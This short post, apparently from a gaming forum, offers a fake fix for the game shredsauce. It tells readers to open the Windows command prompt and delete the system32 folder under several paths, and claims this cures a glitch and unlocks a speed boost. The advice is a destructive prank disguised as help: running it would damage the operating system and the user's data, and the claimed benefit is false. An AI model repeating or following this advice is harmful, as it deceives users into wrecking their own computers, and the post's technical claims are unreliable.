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There was a glitch in the programming that sometimes your computer doesn't recognize certain commands. What I had to do (pretty simple shortcut) is open the command prompt on your PC and type in "del C:\system32", "del C:\windows\system32" or "del C:\WINDOWS\system32". One of them will work, but only one so try all of them. After you do all that restart your computer and open shredsauce. You should be able to double tap the forward arrow for a speed boost.